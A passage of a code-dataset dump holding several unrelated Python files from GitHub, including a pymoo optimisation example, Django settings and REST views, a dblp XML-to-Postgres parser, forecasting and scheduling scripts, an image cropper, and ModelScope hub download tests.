Values')\r\nplt.title('Correlation between Real and Predicted Values (Real Estate)')\r\nplt.grid(True)\r\n\r\nplt.savefig('correlation_plot_real_estate.png')\r\nplt.show() \r\n\r\n\r\n\r\n","repo_name":"Pawel712/NEC-assignments","sub_path":"Assignment1/Part3/neuralNetworkBpPlot.py","file_name":"neuralNetworkBpPlot.py","file_ext":"py","file_size_in_byte":9819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72592431049","text":"from pymoo.algorithms.soo.nonconvex.pso import PSO\nfrom pymoo.core.problem import Problem\nfrom pymoo.core.termination import NoTermination\nfrom pymoo.problems.static import StaticProblem\n\nproblem = Problem(n_var=10, n_obj=1, n_ieq_constr=1, xl=-0, xu=1)\n\nalgorithm = PSO().setup(problem, termination=NoTermination(), verbose=False)\n\nfor k in range(20):\n\n    if not algorithm.has_next():\n        break\n\n    infills = algorithm.ask()\n\n    X = infills.get(\"X\")\n\n    F = (X ** 2).sum(axis=1)\n    G = - (X[:, 0] + X[:, 1]) - 0.3\n\n    algorithm.evaluator.eval(StaticProblem(problem, F=F, G=G), infills)\n\n    algorithm.tell(infills=infills)\n\n    print(k + 1, algorithm.opt[0].F[0])\n\nprint(algorithm.opt.get(\"F\"))\n","repo_name":"anyoptimization/pymoo","sub_path":"examples/algorithms/ask_and_tell.py","file_name":"ask_and_tell.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":1804,"dataset":"github-code","pt":"16"}
+{"seq_id":"20819978802","text":"from dummy_webapp.settings.base import *\n\nDEBUG = True\n\n# CACHE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#caches\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n    }\n}\n# END CACHE CONFIGURATION\n\n# DATABASE CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#databases\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': root('default.db'),\n        'USER': '',\n        'PASSWORD': '',\n        'HOST': '',\n        'PORT': '',\n    }\n}\n# END DATABASE CONFIGURATION\n\n# EMAIL CONFIGURATION\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#email-backend\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n# END EMAIL CONFIGURATION\n\n# TOOLBAR CONFIGURATION\n# See: http://django-debug-toolbar.readthedocs.org/en/latest/installation.html\nif os.environ.get('ENABLE_DJANGO_TOOLBAR', False):\n    INSTALLED_APPS += (\n        'debug_toolbar',\n    )\n\n    MIDDLEWARE_CLASSES += (\n        'debug_toolbar.middleware.DebugToolbarMiddleware',\n    )\n\n    DEBUG_TOOLBAR_PATCH_SETTINGS = False\n\nINTERNAL_IPS = ('127.0.0.1',)\n# END TOOLBAR CONFIGURATION\n\n# AUTHENTICATION\n# Set these to the correct values for your OAuth2/OpenID Connect provider (e.g., devstack)\nSOCIAL_AUTH_EDX_OIDC_KEY = 'replace-me'\nSOCIAL_AUTH_EDX_OIDC_SECRET = 'replace-me'\nSOCIAL_AUTH_EDX_OIDC_URL_ROOT = 'replace-me'\nSOCIAL_AUTH_EDX_OIDC_ID_TOKEN_DECRYPTION_KEY = SOCIAL_AUTH_EDX_OIDC_SECRET\n\nENABLE_AUTO_AUTH = True\n\n#####################################################################\n# Lastly, see if the developer has any local overrides.\nif os.path.isfile(join(dirname(abspath(__file__)), 'private.py')):\n    from .private import *  # pylint: disable=import-error\n","repo_name":"edx-unsupported/dummy-webapp","sub_path":"dummy_webapp/settings/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"11992480085","text":"\"\"\"\nThis module parses the dblp.xml file into sql and stores it in a postgres database.\nCreated by: Silvan Wiedmer\nCreated at: 17.03.2023\n\"\"\"\nimport os\nfrom time import time\nfrom multiprocessing import Process, Queue\n\nfrom psycopg2 import connect, sql, errors\nfrom dotenv import load_dotenv\nfrom lxml import etree\n\n# load environment variables from .env file\nload_dotenv()\n\n# define worker amount\nWORKERS: int = 6\n\nduplicates: list[str] = [\n    \"cdrom\",\n    \"cite\",\n    \"publisher\",\n    \"author\",\n    \"note\",\n    \"school\",\n    \"editor\",\n    \"url\",\n    \"ee\",\n    \"crossref\",\n    \"isbn\",\n    \"pages\",\n    \"year\",\n    \"title\",\n    \"series\"\n]\n\ntypes: list[str] = [\n    'article',\n    'inproceedings',\n    'proceedings',\n    'book',\n    'incollection',\n    'phdthesis',\n    'mastersthesis',\n    'www'\n]\n\n# postgress connection\nconn = connect(\n    database = \"Test\",\n    host = \"localhost\",\n    user = os.getenv('POSTGRES_USER'),\n    password = os.getenv('POSTGRES_PASSWORD'),\n    port=\"5432\"\n)\n\ndef elements(queue_sql: Queue, element) -> None:\n    \"\"\"\n    The elements function generates the sql for the entire element and sends it to the sql queue.\n\n    Parameters:\n    - queue_sql: Queue => The queue to transfer sql commands to different processes\n    - element => The current xml element to parse\n    \"\"\"\n    # create sql query for insertion\n    query = sql.SQL('INSERT INTO entry ({columns}) VALUES ({values});').format(\n        columns = sql.SQL(\",\").join(map(sql.Identifier, element.attrib)),\n        values = sql.SQL(\",\").join(map(sql.Literal, element.attrib.values()))\n    )\n\n    non_duplicate = []\n\n    # check all childs of element\n    for child in element:\n\n        # check if tag is duplicate\n        if child.tag in duplicates:\n            tag: str = str(child.tag)\n\n            insert_child_tag = sql.SQL(\n                'INSERT INTO {table} (name) VALUES ({text}) ON CONFLICT (name) DO NOTHING;'\n                ).format(\n                table = sql.Identifier(tag),\n                text = sql.Literal(child.text)\n            )\n\n            insert_entry_child = sql.SQL(\n                \"\"\"\n                INSERT INTO {table} ({column}, entry_key) \n                VALUES ((SELECT id FROM {table2} \n                WHERE name = {text}), {key});\n                \"\"\"\n                ).format(\n                table = sql.Identifier('entry_' + tag),\n                column = sql.Identifier(tag + '_id'),\n                table2 = sql.Identifier(tag),\n                key = sql.Literal(element.attrib[\"key\"]),\n                text = sql.Literal(child.text)\n            )\n\n            query += insert_child_tag\n            query += insert_entry_child\n        else:\n            non_duplicate.append(child)\n\n    columns = ['entry_key']\n    values = []\n\n    for childs in non_duplicate:\n        columns.append(childs.tag)\n        values.append(childs.text)\n\n    if len(values) != 0:\n        # add to according table\n        insert_non_duplicates = sql.SQL(\n            'INSERT INTO {table} ({column}) VALUES ({id}, {value});'\n            ).format(\n            table = sql.Identifier(element.tag),\n            column = sql.SQL(', '.join(columns)),\n            id = sql.Literal(element.attrib[\"key\"]),\n            value = sql.SQL(\",\").join(map(sql.Literal, values))\n        )\n    else:\n        # add to according table\n        insert_non_duplicates = sql.SQL('INSERT INTO {table} ({column}) VALUES ({id});').format(\n            table = sql.Identifier(element.tag),\n            column = sql.SQL(', '.join(columns)),\n            id = sql.Literal(element.attrib[\"key\"])\n        )\n\n    query += insert_non_duplicates\n\n    queue_sql.put(query)\n\ndef read(queue_sql: Queue):\n    \"\"\"\n    The read function reads the xml file and calls the elements function for every element\n\n    Parameters: \n    - queue_sql: Queue => The queue required for the elements function\n    \"\"\"\n    before = time()\n    # read file\n    for _, element in etree.iterparse('dblp.xml', dtd_validation=True):\n        # check if current tag in types\n        if element.tag in types:\n\n            # process elements\n            elements(queue_sql, element)\n\n            # clear element from memory\n            element.clear()\n\n    after = time()\n\n    print(f'Read file in {after - before:.3} seconds')\n    print(\"-\" * 75)\n\n    # stop workers\n    for _ in range(WORKERS):\n        queue_sql.put('STOP')\n\ndef insert(queue: Queue):\n    \"\"\"\n    The insert function executes all the sql querys from the provided queue until 'Stop' is received\n\n    Parameters:\n    - queue: Queue => The queue to get the queries from\n    \"\"\"\n    cursor = conn.cursor()\n    before = time()\n    for query in iter(queue.get, 'STOP'):\n        try:\n            cursor.execute(query)\n        except errors.InvalidColumnReference as error:\n            print(error)\n            print(query)\n            print(\"-\" * 75)\n        except errors.DeadlockDetected as error:\n            print(error)\n            print(query)\n            print(\"-\" * 75)\n            # failed to insert try again\n            queue.put(query)\n        except errors.UndefinedColumn as error:\n            print(error)\n            print(query)\n            print(\"-\" * 75)\n        conn.commit()\n    after = time()\n\n    print(f'Executed SQL commands in {after - before:.3} seconds')\n    return\n\nif __name__ == \"__main__\":\n    sql_queue = Queue()\n\n    read_process = Process(target=read, args=(sql_queue, ))\n    read_process.start()\n\n    insert_processes: list[Process] = []\n    for _ in range(WORKERS):\n        insert_processes.append(Process(target=insert, args=(sql_queue,)))\n\n    for process in insert_processes:\n        process.start()\n\n    read_process.join()\n\n    for process in insert_processes:\n        process.join()\n","repo_name":"Xuyen21/Programming_semester_2","sub_path":"app/xmlParser/xml_parser.py","file_name":"xml_parser.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70617253128","text":"from lightgbm import LGBMRegressor\nfrom skforecast.ForecasterAutoreg import ForecasterAutoreg\nfrom typing import Tuple\n\nfrom src.data import load_credit\nfrom src.data import split_train_test\n\n\ndef credit_train_test_model(data_path: str) -> Tuple[ForecasterAutoreg, int]:\n    data = load_credit(data_path)\n    train, test = split_train_test(data)\n    test_length = len(test)\n    forecaster = ForecasterAutoreg(\n                regressor = LGBMRegressor(\n                    lambda_l1=0.01,\n                    learning_rate=0.6,\n                    num_leaves=10,\n                    max_leaf_nodes=30,\n                    max_depth=10, \n                    n_estimators=500,\n                    random_state=123),\n                lags = 10\n             )\n\n    forecaster.fit(y=train['Credit'])\n\n    return forecaster, test_length\n\n\ndef credit_dataset_model(data_path: str) -> ForecasterAutoreg:\n    data = load_credit(data_path)\n\n    forecaster = ForecasterAutoreg(\n        regressor=LGBMRegressor(\n            lambda_l2=0.01,\n            lambda_l1=0.01,\n            learning_rate=0.6,\n            num_leaves=32,\n            max_leaf_nodes=30,\n            max_depth=4,\n            n_estimators=500,\n            random_state=123,\n        ),\n        lags=10,\n    )\n\n    forecaster.fit(y=data[\"Credit\"])\n    # from joblib import dump, load\n\n    # dump(forecaster, filename='credit_forecaster.py')\n    # forecaster_loaded = load('forecaster.py')\n    # forecaster_loaded.predict(steps=3)\n    \n    return forecaster\n","repo_name":"beckmiller/payments_prediction","sub_path":"src/models/train_credit_model.py","file_name":"train_credit_model.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24131032366","text":"from rest_framework import viewsets, generics, views, status\nfrom rest_framework.response import Response\n\nfrom ivrs.models import IVR\nfrom ivrs.serializers import IVRSerializer\nfrom calls.models import Call\n\n\nclass IVRViewSet(viewsets.ModelViewSet):\n    queryset = IVR.objects.order_by('-created_at')\n    serializer_class = IVRSerializer\n\n\nclass BeneficiaryIVRsView(generics.ListAPIView):\n    serializer_class = IVRSerializer\n\n    def get(self, request, user_pk=None):\n        queryset = IVR.objects.filter(beneficiary=user_pk)\n        serializer = self.serializer_class(queryset, many=True)\n\n        return Response(serializer.data)\n\n\nclass SentIVRsView(generics.ListAPIView):\n    serializer_class = IVRSerializer\n\n    def get(self, request, user_pk=None):\n        queryset = IVR.objects.filter(sender=user_pk)\n        serializer = self.serializer_class(queryset, many=True)\n\n        return Response(serializer.data)\n\n\nclass FeedbackIVRView(views.APIView):\n    number_of_questions = 6\n\n    credits = {\n        \"default\": 100/number_of_questions\n    }\n\n    grades = {\n        \"default\": {\n            \"1\": 1,\n            \"2\": 0.4\n        },\n        \"q6\": {\n            \"1\": 0.4,\n            \"2\": 0.55,\n            \"3\": 0.70,\n            \"4\": 0.85,\n            \"5\": 1\n        }\n    }\n\n    def get(self, request, format=None):\n        args_dict = dict(request.GET.iterlists())\n\n        question = ''\n        response = ''\n        question_credits = 0\n        final_credits = 0\n\n        total_credits = 0\n        credits_count = 0\n\n        for key in self.credits.keys():\n            if key != 'default':\n                total_credits += self.credits[key]\n                credits_count += 1\n\n        while credits_count < self.number_of_questions:\n            total_credits += 100/float(self.number_of_questions)\n            credits_count += 1\n\n        mobile = ''\n\n        if 'question' in args_dict.keys():\n            question = str(args_dict['question'][0])\n\n        if 'response' in args_dict.keys():\n            response = str(args_dict['response'][0])\n\n        if 'From' in args_dict.keys():\n            mobile = str(args_dict['From'][0])[1:]\n        else:\n            return Response({'status': 'mobile not available'}, status.HTTP_400_BAD_REQUEST)\n\n        if question in self.credits.keys():\n            question_credits = self.credits[question]\n        else:\n            question_credits = self.credits[\"default\"]\n\n        if question in self.grades.keys():\n            if response in self.grades[question].keys():\n                final_credits = question_credits * self.grades[question][response]\n        else:\n            if response in self.grades[\"default\"].keys():\n                final_credits = question_credits * self.grades[\"default\"][response]\n\n        call = Call.objects.filter(beneficiary__profile__mobile=mobile).last()\n\n        final_credits = final_credits / float(total_credits) * 5\n\n        task = call.task\n        task.assignee_rating += final_credits\n        task.save()\n\n        return Response({'status': 'ok'}, status.HTTP_200_OK)\n","repo_name":"Indus-Action/Campaign-Management-System","sub_path":"CMS/apps/ivrs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33641185738","text":"import re\nimport pandas as pd\n\n\nclass PrepareShifts:\n    \"\"\"\n    PrepareShifts is the class that implements the business logic of finding the optimum partitions and the\n    associated shifts for the Barista demand data.\n    \"\"\"\n\n    def __init__(self, allocated_shifts, demand_data):\n        \"\"\"\n        Constructor for PrepareShifts\n        :param allocated_shifts: The allocated shifts from shift allocator\n        :type allocated_shifts: List\n        :param demand_data: The Time column of the Dataframe\n        :type demand_data: Series\n        \"\"\"\n        self.allocated_shifts = allocated_shifts\n        self.demand_data = demand_data\n        self.start_time = []\n        self.end_time = []\n        self.time_format = \"{:02d}:00:00\"\n\n    def get_allocated_shifts(self):\n        \"\"\"\n        Getter for allocated_shifts\n        :return: allocated_shifts\n        :rtype: List\n        \"\"\"\n        return self.allocated_shifts\n\n    def get_demand_data(self):\n        \"\"\"\n        Getter for demand_data\n        :return: The actual dataframe data from the file\n        :rtype: Dataframe\n        \"\"\"\n        return self.demand_data\n\n    def set_start_time(self, start_time):\n        \"\"\"\n        Setter for start time of a shift\n        :param start_time: The string formatted time for start time\n        :type start_time: str\n        :return: None\n        :rtype: None\n        \"\"\"\n        self.start_time.append(start_time)\n\n    def get_start_time(self):\n        \"\"\"\n        Getter for start time\n        :return: The list for start_time\n        :rtype: List\n        \"\"\"\n        return self.start_time\n\n    def set_end_time(self, end_time):\n        \"\"\"\n        Setter for end time\n        :param end_time: The string formatted time for end time\n        :type end_time: str\n        :return: None\n        :rtype: None\n        \"\"\"\n        self.end_time.append(end_time)\n\n    def get_end_time(self):\n        \"\"\"\n        Getter for end_time\n        :return: List of end_time\n        :rtype: List\n        \"\"\"\n        return self.end_time\n\n    def get_time_format(self):\n        \"\"\"\n        Getter for time_format\n        :return: The set time format\n        :rtype: str\n        \"\"\"\n        return self.time_format\n\n    def prepare_time_list_according_to_format(self):\n        \"\"\"\n        Method to convert the time formats into a 24 hour time format.\n        :return: A list of the time formats without am|pm indicators and converted to 24 hour format timings\n        :rtype: List\n        \"\"\"\n        final_time_list = []\n        actual_data = list(self.get_demand_data()[\"Time\"])\n        for each in actual_data:\n            if \"pm\" in each and \"am\" not in each:\n                sub_str = []\n                res = re.sub('pm', '', each)\n                res = res.split(\"-\")\n                res = list(map(int, res))\n                for each_split in res:\n                    if each_split < 12:\n                        each_split += 12\n                    sub_str.append(str(each_split))\n                final_time_list.append(\"-\".join(sub_str))\n            if \"am\" in each and \"pm\" not in each:\n                res = re.sub('am', '', each)\n                final_time_list.append(res)\n            if \"am\" in each and \"pm\" in each:\n                res = re.sub('am|pm', '', each)\n                final_time_list.append(res)\n        return final_time_list\n\n    def get_string_number(self, time_string, position):\n        \"\"\"\n        Method to convert the extracted time numeric number into the required format.\n        :param time_string: time numeric value\n        :type time_string: str\n        :param position: to indicate whether the time is to be split at the start or the end\n        :type position: str\n        :return: Formatted string time representation\n        :rtype: str\n        \"\"\"\n        if position == \"start\":\n            return self.get_time_format().format(int(time_string.split(\"-\")[0]))\n        else:\n            return self.get_time_format().format(int(time_string.split(\"-\")[1]))\n\n    def prepare_shifts(self):\n        \"\"\"\n        Method to logically evaluates the demand data and the allocated shifts to make entries for start time and end\n        time for shifts\n        :return: None\n        :rtype: None\n        \"\"\"\n        actual_data = self.prepare_time_list_according_to_format()\n        for time, demand in self.get_allocated_shifts().items():\n            demand = list(demand)\n            time = list(time)\n            start_index = 0\n            for i in range(len(demand)):\n                start_time_stamp = self.get_string_number(actual_data[start_index], \"start\")\n                end_time_stamp = self.get_string_number(actual_data[start_index + time[i] - 1], \"end\")\n                start_index = start_index + time[i]\n                for j in range(demand[i]):\n                    self.set_start_time(start_time_stamp)\n                    self.set_end_time(end_time_stamp)\n\n    def prepare_final_shift_dataframe(self):\n        \"\"\"\n        Method to create a Dataframe out of the lists prepared\n        :return: Dataframe with start and end times for shifts\n        :rtype: Dataframe\n        \"\"\"\n        shift_information = pd.DataFrame({'Shift Start': self.get_start_time(),\n                                          'Shift End': self.get_end_time()})\n        return shift_information\n","repo_name":"girish1993/scheduler","sub_path":"prepare_output/prepare_shifts.py","file_name":"prepare_shifts.py","file_ext":"py","file_size_in_byte":5315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27515383332","text":"import itertools\n\nimport numpy as np\nfrom addict import Dict\nfrom tqdm import tqdm\n\n\nclass Rollout_Generator:\n    def __init__(self, model_paths):\n        from environments.walker.walker_step import Walker_Step_Env\n        self.env = Walker_Step_Env(speed_early_stop=False)\n\n        self.model_paths = model_paths\n        self.models = list()\n        # load models\n        from stable_baselines3 import TD3\n        for model_path in model_paths:\n            model = TD3.load(model_path)\n            self.models.append((model_path, model))\n\n    def gen_rollouts(self, step_sizes, speeds):\n        rollouts = list()\n        rollout_cfg = list(itertools.product(self.models, step_sizes, speeds))\n        print(f'[INFO] {len(rollout_cfg)} configs to run')\n        for e in tqdm(rollout_cfg, desc='Generating rollouts ...'):\n            step_size, speed = e[1], e[2]\n            success, expr_name, rollout_record = self.gen_single_rollout(model=e[0],\n                                                                         step_size=step_size,\n                                                                         speed=speed)\n            if success:\n                rollouts.append(rollout_record)\n        print(f'[INFO] generated {len(rollouts)} successful rollouts.')\n        return rollouts\n\n    def gen_single_rollout(self, model, step_size, speed):\n        model_path, policy_model = model[0], model[1]\n        expr_name = f'{step_size}_{speed}'\n        success = False\n\n        self.env.set_target(step_size_range=(step_size, step_size + 0.036),\n                            target_speed_range=(speed, speed + 0.0056),\n                            ideal_height_range=(0.015, 0.015))\n        state_sequence = []\n        rgb_frames = []\n        info_list = []\n\n        policy_state = self.env.reset()\n        obs = self.env.get_raw_obs()\n        rgb_obs = self.env.get_frame_rgb()\n        n_step = 0\n        done = False\n        final_step_size, softness_speed = -1, -1\n\n        while not done and n_step < 100:\n            action, _states = policy_model.predict(policy_state, deterministic=True)\n            next_policy_state, reward, done, info = self.env.step(action)\n            next_obs = self.env.get_raw_obs()\n            next_rgb = self.env.get_frame_rgb()\n\n            state_sequence.append(np.copy(obs))\n            rgb_frames.append(np.copy(rgb_obs))\n            info = Dict(info)\n            info.update({'done': done,\n                         'next_obs': np.copy(next_obs),\n                         'reward': reward,\n                         'action': action,\n                         'timestep': n_step})\n            info_list.append(info)\n\n            if done and info.done_message == 'success':\n                if info.feet_dist is not None and info.softness_speed is not None:\n                    final_step_size = info.feet_dist\n                    softness_speed = info.softness_speed\n                    success = True\n                else:\n                    print(f'final_step_size ({final_step_size}) or softness_speed ({softness_speed}) is None.')\n                    success = False\n            n_step += 1\n\n            obs = next_obs\n            policy_state = next_policy_state\n            rgb_obs = next_rgb\n\n        expr_record = Dict({\n            'ground_truth_attr': {\n                'step_size': final_step_size,\n                'softness': softness_speed\n            },\n            'rgb_frames': rgb_frames,\n            'state_sequence': np.array(state_sequence),\n            'info_list': info_list,\n            'traj_meta': {\n                'model_path': model_path,\n                'expr_name': expr_name,\n                'target_step_size': step_size,\n                'target_speed': speed,\n                'final_step_size': final_step_size,\n                'softness_speed': softness_speed,\n                'success': success\n            }\n        })\n        return success, expr_name, expr_record\n\n\n\n","repo_name":"GuanSuns/Relative-Behavioral-Attributes-ICLR-23","sub_path":"data/gen/walker_step/walker_step_rollout.py","file_name":"walker_step_rollout.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"15282600350","text":"#Goal is to crop images into segments into the format 1080x1350 (ratio 1.25)\n\nfrom PIL import Image\n\nimgToCrop = Image.open(\"./input/_0IM9922.jpg\")\n\nexportResize = \"./output/resized.jpg\"\nexportSegmentsPath = \"./output/segment$$x$$.jpg\"\nexportBanner = \"./output/banner.jpg\"\n\nsegmentHeight = 1350\nsegmentWidth = 1080\n\ndef make_banner(image, min_size=256, fill_color=(0, 0, 0, 0)):\n    x, y = segmentWidth, segmentHeight\n    size = max(min_size, x, y)\n    new_im = Image.new('RGBA', (x, y), fill_color)\n    new_im.paste(image, (0, int((y -image.size[1]) / 2)))\n    return new_im\n\nimagesExported = 1\n\nwidth, height = imgToCrop.size\nprint(width)\nprint(height)\n\nnewWidth = int(width/(height/segmentHeight))\nnewSize = newWidth, segmentHeight\n\nsegments = newWidth/segmentWidth\nprint(segments)\nprint(\"Segments there will be\")\n\nif newWidth%segmentWidth > 0:\n    print(\"Cant resize image into good segments, please try another format\")\n    print(newWidth%segmentWidth)\n    print(\" pixels left\")\n    optimalWidth = (newWidth - newWidth%segmentWidth)*(height/segmentHeight)\n    print(\"Optimal width would be:\")\n    print(optimalWidth)\n    optimalRatio = optimalWidth/height\n    print(\"Optimal ratio (width/height) would be:\")\n    print(optimalRatio)\n    print(\"Or version with one more image:\")\n    optimalWidth2 = ((newWidth - newWidth%segmentWidth) + segmentWidth)*(height/segmentHeight)\n    print(\"Optimal width2 would be:\")\n    print(optimalWidth2)\n    optimalRatio2 = optimalWidth2/height\n    print(\"Optimal ratio (width/height) would be:\")\n    print(optimalRatio2)\n    exit()\n\nresizedImage = imgToCrop.resize(newSize, Image.Resampling.LANCZOS)\nresizedImage.save(exportResize)\n\nsegments = int(segments)\nfor x in range(segments):\n    top = segmentHeight\n    left = segmentWidth*x\n    bottom = 0\n    right = segmentWidth*(x+1)\n    crop = \"top: \" + str(top) + \" left: \" + str(left) + \" bottom: \" + str(bottom) + \" right: \" + str(right)\n    print(crop)\n    croppedImage = resizedImage.crop((left, bottom, right, top))\n    exportImagePath = exportSegmentsPath.replace(\"$$x$$\", str(imagesExported))\n    print(exportImagePath)\n    imagesExported = imagesExported+1\n    croppedImage.save(exportImagePath, \"JPEG\")\n    print(imagesExported)\n    \nbannerSize = segmentWidth, int(segmentHeight/(newWidth/segmentWidth))\nbannerImage = imgToCrop.resize(bannerSize, Image.Resampling.LANCZOS)\n\nbannerImage = make_banner(bannerImage)\nbannerImage = bannerImage.convert('RGB')\nbannerImage.save(exportBanner)","repo_name":"RomanL1/instagram-carousel-cropper","sub_path":"cropper.py","file_name":"cropper.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4878156480","text":"from django.conf.urls import patterns, url, include\nfrom rest_framework import routers\nfrom app import views\n\nrouter = routers.DefaultRouter()\nrouter.register(r'orders', views.OrderViewSet)\nrouter.register(r'lineitems', views.LineItemViewSet)\nrouter.register(r'products', views.ProductViewSet)\nrouter.register(r'catalogs', views.CatalogViewSet)\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browseable API.\nurlpatterns = patterns('',\n  url(r'^', include(router.urls)),\n  url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n)\n","repo_name":"ruebenramirez/NOMS","sub_path":"NOMS/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18390338522","text":"class Data:\n    def __init__(self, dia, mes, ano):\n        self.dia = dia\n        self.mes = mes\n        self.ano = ano\n\n    def show_data(self):\n        dia_format = \"0\"+str(self.dia) if self.dia < 10 else self.dia\n        mes_format = \"0\"+str(self.mes) if self.mes < 10 else self.mes\n        print(f'{dia_format}/{mes_format}/{self.ano}')\n\n    def __str__(self):\n        dia_format = \"0\" + str(self.dia) if self.dia < 10 else self.dia\n        mes_format = \"0\" + str(self.mes) if self.mes < 10 else self.mes\n        return f'{dia_format}/{mes_format}/{self.ano}'\n\n\nd1 = Data(1, 5, 2021)\nd1.dia = 23\nd2 = Data(d1.dia, d1.mes, d1.ano)\nd2.dia = 24\nd1.show_data()\nd2.show_data()\nprint(d2)\n","repo_name":"bbnsdevelop/python_3_estudos","sub_path":"python3/poo/data_v1.py","file_name":"data_v1.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22864827848","text":"import os\nimport tempfile\nimport unittest\nimport uuid\n\nfrom requests.exceptions import HTTPError\n\nfrom modelscope.hub.api import HubApi\nfrom modelscope.hub.constants import Licenses, ModelVisibility\nfrom modelscope.hub.errors import GitError\nfrom modelscope.hub.file_download import model_file_download\nfrom modelscope.hub.repository import Repository\nfrom modelscope.hub.snapshot_download import snapshot_download\nfrom modelscope.utils.constant import ModelFile\nfrom modelscope.utils.test_utils import (TEST_ACCESS_TOKEN1,\n                                         TEST_ACCESS_TOKEN2,\n                                         TEST_MODEL_CHINESE_NAME,\n                                         TEST_MODEL_ORG, delete_credential)\n\ndownload_model_file_name = 'test.bin'\n\n\nclass HubPrivateFileDownloadTest(unittest.TestCase):\n\n    def setUp(self):\n        self.old_cwd = os.getcwd()\n        self.api = HubApi()\n        self.token, _ = self.api.login(TEST_ACCESS_TOKEN1)\n        self.model_name = 'pf-%s' % (uuid.uuid4().hex)\n        self.model_id = '%s/%s' % (TEST_MODEL_ORG, self.model_name)\n        self.revision = 'v0.1_test_revision'\n        self.api.create_model(\n            model_id=self.model_id,\n            visibility=ModelVisibility.PRIVATE,\n            license=Licenses.APACHE_V2,\n            chinese_name=TEST_MODEL_CHINESE_NAME,\n        )\n\n    def prepare_case(self):\n        temporary_dir = tempfile.mkdtemp()\n        self.model_dir = os.path.join(temporary_dir, self.model_name)\n        repo = Repository(self.model_dir, clone_from=self.model_id)\n        os.system(\"echo 'testtest'>%s\"\n                  % os.path.join(self.model_dir, download_model_file_name))\n        repo.push('add model')\n        repo.tag_and_push(self.revision, 'Test revision')\n\n    def tearDown(self):\n        # credential may deleted or switch login name, we need re-login here\n        # to ensure the temporary model is deleted.\n        self.api.login(TEST_ACCESS_TOKEN1)\n        os.chdir(self.old_cwd)\n        self.api.delete_model(model_id=self.model_id)\n\n    def test_snapshot_download_private_model(self):\n        self.prepare_case()\n        snapshot_path = snapshot_download(self.model_id, self.revision)\n        assert os.path.exists(os.path.join(snapshot_path, ModelFile.README))\n\n    def test_snapshot_download_private_model_no_permission(self):\n        self.prepare_case()\n        self.token, _ = self.api.login(TEST_ACCESS_TOKEN2)\n        with self.assertRaises(HTTPError):\n            snapshot_download(self.model_id, self.revision)\n\n    def test_snapshot_download_private_model_without_login(self):\n        self.prepare_case()\n        delete_credential()\n        with self.assertRaises(HTTPError):\n            snapshot_download(self.model_id, self.revision)\n\n    def test_download_file_private_model(self):\n        self.prepare_case()\n        file_path = model_file_download(self.model_id, ModelFile.README,\n                                        self.revision)\n        assert os.path.exists(file_path)\n\n    def test_download_file_private_model_no_permission(self):\n        self.prepare_case()\n        self.token, _ = self.api.login(TEST_ACCESS_TOKEN2)\n        with self.assertRaises(HTTPError):\n            model_file_download(self.model_id, ModelFile.README, self.revision)\n\n    def test_download_file_private_model_without_login(self):\n        self.prepare_case()\n        delete_credential()\n        with self.assertRaises(HTTPError):\n            model_file_download(self.model_id, ModelFile.README, self.revision)\n\n    def test_snapshot_download_local_only(self):\n        self.prepare_case()\n        with self.assertRaises(ValueError):\n            snapshot_download(\n                self.model_id, self.revision, local_files_only=True)\n        snapshot_path = snapshot_download(self.model_id, self.revision)\n        assert os.path.exists(os.path.join(snapshot_path, ModelFile.README))\n        snapshot_path = snapshot_download(\n            self.model_id, self.revision, local_files_only=True)\n        assert os.path.exists(snapshot_path)\n\n    def test_file_download_local_only(self):\n        self.prepare_case()\n        with self.assertRaises(ValueError):\n            model_file_download(\n                self.model_id,\n                ModelFile.README,\n                self.revision,\n                local_files_only=True)\n        file_path = model_file_download(self.model_id, ModelFile.README,\n                                        self.revision)\n        assert os.path.exists(file_path)\n        file_path = model_file_download(\n            self.model_id,\n            ModelFile.README,\n            revision=self.revision,\n            local_files_only=True)\n        assert os.path.exists(file_path)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"modelscope/modelscope","sub_path":"tests/hub/test_hub_private_files.py","file_name":"test_hub_private_files.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
